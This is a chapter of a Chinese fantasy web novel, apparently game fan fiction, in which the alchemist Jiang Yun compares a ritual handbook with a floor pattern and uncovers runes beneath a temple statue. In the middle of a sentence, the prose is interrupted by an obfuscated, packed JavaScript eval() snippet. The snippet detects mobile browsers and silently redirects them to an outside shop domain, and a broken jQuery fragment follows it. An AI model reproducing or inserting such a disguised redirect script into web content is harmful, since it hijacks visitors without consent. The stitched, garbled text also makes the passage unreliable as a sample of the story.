6. 我有一个绝妙的点子
    遗迹勘测算是炼金术师的基本功,毕竟,哪一个炼金术师在读书期间都做过探索古代遗迹,发现上古遗产,成为掌握生命奥秘世界真理的伟大炼金术师这样的梦呢。

    江云也不例外,只不过从广大炼金师相比,他的老师好了一点,学习条件也好了一点罢了,所以,在别的炼金术师还没出师的时候,他已经在雪山的远古遗迹里上窜下跳了。在跟随阿贝多在雪山学习的那段日子里,他成日在山上山下之间穿梭,于他而言,攀爬早就成了家常便饭。

    爬上梯子之后,他低头朝下看去,只见一圈圈由地板缝隙围成的诡谲回路以神像为中心缓缓展开,回路之间既没有什么奇怪的花纹,也没有镶嵌什么珍贵的宝石,难怪这几个学生会以为这些回路就是简单的装饰花纹。

    要是换了别的炼金术师来,没有始端,没有终端,没有介质,面对这些回路,他们恐怕也会得出和这几个学生相同的结论。

    但江云知道,这些回路并不简单,因为相同的图案,前一天他还在阿倍良久那儿见到过。

    -

    一天前,炼金实验室内。

    能源灯投下柔和的黄光,阿倍良久拿着羽毛笔,坐在书桌前埋头专注地写着记录本。

    他正在核对本次狩猎小队外出收获目录,这一次他们对于渊下世界的探索有了突破性的进展,队员们不但成功的将探索范围突破了一公里,还获得了一种全新的动物样本:深海鳗鳗。

    这一名称是由江云鉴定并确认的,据他说,此种生物的外貌、口感都与他所了解的一种稻妻特产极为相似,所以他大胆的将此物判定为与其同种的一种生物。

    阿倍良久仔细地写完最后一笔,合上书页,正准备收拾东西回去休息,却听到隔壁实验室突然响起的爆炸声,“砰砰”的响声连带着结实的木门都震动了一下。

    爆炸近在咫尺,阿倍良久却连眉毛都没有动一下,毕竟,拥有一个坚信“爆炸是实验成功之母”、“真正的炼金术师要敢于直面爆炸”的好室友,他早已经对这些爆炸声麻木了,如今的他甚至可以仅凭借声音就判断出此次实验的量级。

    “嘎吱”一声,木门打开,一股浓烟从里面涌了出来,等到硝烟散尽,一道纤细的身影才从门后显露出来。

    江云踉踉跄跄地走了出来,长时间的实验耗干了他的所有力气,他象征性地随手拍了拍实验服上的烟尘,连脸上的护目镜都没有摘,就直接拉开最近的一张软椅,一屁股坐了下去。

    他长舒一口气,将身体沉沉地压入柔软的靠枕之中,然后有气无力地朝阿倍良久伸手:“水。”

    不用多说,一杯温热的茶水就被及时地递到了手边。

    “今天在搞什么,怎么这么晚还没有休息?”

    江云摆了摆手,一句话都来不及说,端起杯子,满满一杯茶就这样被他一口闷了。

    温水下肚,慢慢的滋润着他枯槁的身躯与精神,这还不够,他又指了指桌上放着的一碟小蛋糕,阿倍良久赶紧照做,递蛋糕的时候,还贴心地给他放上勺子。

    一勺子重重地铲下去,蛋奶的甜蜜香气蔓延开来,琥珀色的夹心果酱从切口出溢出,裹挟着细腻的奶油、清甜的水果和浓郁的巧克力,香甜的乳酪为机体重新补足了能量,在黄油与糖果的治愈下,江云总算是恢复了能量。

    他又往嘴里又狠狠塞了一大口蛋糕,终于打起精神,打开了话匣子。

    “你不知道,我今天一口气做了十个模型。”

    阿倍良久立刻听出了他的言外之意:“十个都炸了?”

    江云沉重地点点头:“无一幸免。”

    他从衣兜里掏出了几个小零件,递了过去:“喏,这是最后剩下的零件残骸,我从里面挑了几个还保持形状的。”

    阿倍良久仔细地观察着手上的零件残骸,半响过后,他得出了结论:“第五号零件和第三十二号零件有严重的灼烧痕迹,还有轻微的磨损痕迹,能源过载应该是主要问题。”

    “没错,能量大幅度过载,”江云肯定了他的意见,“我认为关键问题还是出在能量传输上,能量的消耗太过于严重了,我打算明天叫他们试一试元素转换器,说不定可以减少一点损耗。”

    一边说,江云一边转过头,正想再拿一个蛋糕,站在柜门之前时,他突然想起了什么:“诶,说起来,你施行千灯仪式的时候感觉怎么样?”

    “千灯仪式?”自从江云带来的新型能源灯被广泛的运用,除了大型的祭祀场合或者临时应急,阿倍良久已经很久没有进行千灯仪式了,毕竟符咒再怎么简化都没有能源灯一开一关方便。

    “我可能是已经适应了千灯仪式的能量消耗,本身是没什么感觉的。”阿倍良久皱着眉头,捏着笔仔细回想着细节,“真要说起来的话,我感觉自己不像是能量的供应者,倒更像是一个从地脉汲取能量的载体。”

    “对了,”阿倍良久打开抽屉,从一堆积压着的文件表格底下翻出了一本小册子,“这是我当年学习千灯仪式用的书,你感兴趣的话可以看看。”

    看着这本薄薄的小册子,江云有些犹豫:“这不是你们祖先传下来的典籍吗,就这么给我不合适吧?”

    闻言,阿倍良久哈哈大笑起来:“你想什么呢,原本这么珍贵的东西怎么可能被我放在这里,这是我自己的手抄本,原本现在还好好地供奉在神庙里呢。”

    既然如此,江云毫不客气地一把把书从他手里抽了过来,他随手翻了两页,没有细看就直接塞进衣兜里:“行,既然这样,那实验室就收缴了,等我仔仔细细地研究透了,你再来找我要吧!”

    然而,阿倍良久和江云两人都没料到,命运的轨迹就是如此巧妙,在江云随手翻看的那两页里,正好绘制着与地面如出一辙的花纹!

    江云多年的经验到底是发挥了作用,他强行抑制住自己内心的兴奋,哪怕是在如此激动的情况下,他的手仍然能稳稳地抓住铅笔,在笔记本上对于地面花纹进行最为精准的记录。

    “梯子向北旋转90度。”

    “转。”

    “再转90度。”

    从老师那因为情绪压抑到极致,以至于听起来极端冷漠的命令中,大家隐隐都能猜测到,或许真有什么了不得的东西被发现了。

    其他几个组的学生也默默地停下了手里的工作,全神贯注地看着江云的动作。

    穹顶小组的几个人只觉得自己手中的木梯有着千钧重量,大气不敢出一声,只等听到江云的命令一下,便立刻分毫不差的执行。

    铅笔在纸上慢慢地勾勒出一幅奇异的图案,当最后一笔与最初一笔首尾相连,这一副法阵终于绘制完成。

    “好,可以停下来了。”

    小组

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277032|151791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的人长出了一口气,总算有精力去揉一揉自己攥的太紧以至于抽搐的手腕肌肉,可抬头一看,心却又一次高高提了起来。

    江云直接拿出了那本被他顺手塞在身上的手抄本,竟然就那样坐在梯子上开始和手里的笔记进行起了比对!

    “老师先下来吧!”

    “老师,下面更稳当些!”

    对于这些声音,江云充耳不闻,此时他的全部注意都集中到了手里的笔记上,一边用手描摹着手抄本上的纹路,一边仔细地对照着笔记本所记录的地面图案检查。

    “第一圈,完整……第二圈……第三圈……”

    他猛地抬起头,那动作太过用力,以至于稳当的扶梯都被带动着摇晃起来。

    “是核心!核心……”

    他的视线在神庙里逡巡着,大脑快速地将立体的建筑转换成为平面图纸,与法阵一一对比,终于,他的目光投向了那座端庄肃穆的塑像。

    他干脆利落地一挥笔记本,命令道:“来几个人,把神像移走。”

    这项命令可大为出乎学生们的意料,以至于不少人直接愣在了原地。

    有人嗫嚅着:“那可是常世大神的塑像啊……”

    “是啊……”有的人不敢直说,但也在低声应和着,“这是不是对神明的亵渎啊……”

    看着底下窃窃私语的学生,江云没有动怒,他只是冷静地看着众生百相,那双蓝眼睛就像无垠的深海,掩埋着所有的波涛与情感。

    “好了,”有人站了出来,昂着头,目光不偏不倚,坦然地看向江云“老师,把神像移到哪去?”

    是阿律,江云的嘴角微不可查地抬起了一丝弧度,但语气没有丝毫波动:“还有人吗?”

    在阿律的带领下,陆续又有几个人站了出来。

    “好,”江云点点头,毫无波澜的把命令重复了一遍:“把神像移到旁边去。”

    阿律和站出来的几个人彼此对视了一眼,他低声说道:“等我喊口号,大家再一起把神像抬起来,尽量不要磕碰到什么地方,好吗。”

    其他几个人点了点头,阿律眼神一暗,深吸一口气。

    “一二三,起——”

    随着神像被缓缓移开,被掩埋数千年的符文拂去尘沙,终于从被掩埋的历史之中重新显露出来。

    江云轻轻用细软的毛刷拂去符文上的土灰,或许是因为常年的地质变动和石像的磨损,许多符号的轮廓已经变得模糊不清,它们就这样静静地躺在这里,数百年,数千年,如果没有江云的到来,或许它们就将继续这样等待下去,直到某一天,一个敢于“亵渎神明之人”的出现,才能将它们重新带回这个世界。

    江云小心地将镌刻在石砖上的符文拓印在了笔记本上,此时,胸腔中涌动的欲望是如此的激烈,就连他双眸中的那片海域都不再宁静,在灯光的照耀下,恍惚之间,熠熠生辉。

    他用一种几乎可以称得上迷恋的眼光看着手里的拓本,在这薄薄的一页纸背后,隐藏着一种全新的能量形式,或许它已经在这世间流转了数万年,与这片天地、与草木、与生灵共存,而江云要做的,就是将他从自然的帷幕之中剥离出来,让他成为可为人掌握的力量,这也是每一个炼金术师毕生追逐的梦想,挖掘和掌握这个充满可能的世界。

    ——一切都只要他完成了对符文的解析。